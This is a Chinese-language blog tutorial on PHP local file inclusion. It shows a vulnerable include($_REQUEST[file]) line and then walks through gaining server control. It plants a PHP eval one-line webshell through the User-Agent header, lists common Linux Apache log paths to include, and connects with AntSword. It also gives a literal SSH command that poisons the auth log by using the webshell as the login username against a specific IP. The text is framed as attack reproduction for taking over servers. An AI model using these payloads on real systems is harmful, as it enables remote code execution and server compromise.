文件包含漏洞

开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。

但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。

PHP例子

常用包含文件函数

include()
include_once()
require()
require_once()

PHP包含漏洞

<?php include($_REQUEST[file]);?>

设置请求可控include值
【include】:包含文件:
【$_REQUESTZ】:全局变量,包含http方法:【$_GET】,【$_POST】,【$_COOKIE】
【file】:URL中http请求传入的变量参数名为value的参数
【'file'】也就是菜刀等工具连接密码

漏洞利用复现

可导致任意文件读取,或拿权限

路径关系

1. ./ 当前目录下
2. ../ 上级目录
3. / 根目录

openfile.PNG

拿权限

访问网站,大部分网站会记录下客户访问日志,UA请求头,访问路径,也就产生了log写文件,如果自定义恶意UA请求头,跟请求路径,那是不是就会记录下恶意代码

配合包含漏洞去读取,包含恶意代码得文件,就会解析恶意代码,导致代码执行,拿下服务器权限

Linux web常见日志路径

/var/log/access_log
/var/log/access.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/error_log
/var/log/error.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/var/www/logs/error_log
/var/www/logs/error.log

一句话

UA请求头后,插入一句话木马

UA.PNG

读取日志文件,可以看到搜索不到一句话,说明可能已经被服务端解析了

analysis.PNG

蚁剑连接

成功拿下权限
evalfile.png

SSH记录日志

用户名为一句话,服务端会记录下登录用户名

ssh "<?php @eval($_REQUEST[xs]);?>"@188.8.8.77 -p 22

evalloginssh.PNG

一句话,已被服务端记录

gvaleval.PNG

利用成功

fileopenlogin.PNG

最后修改:2022 年 01 月 02 日
如果觉得我的文章对你有用,请随意赞赏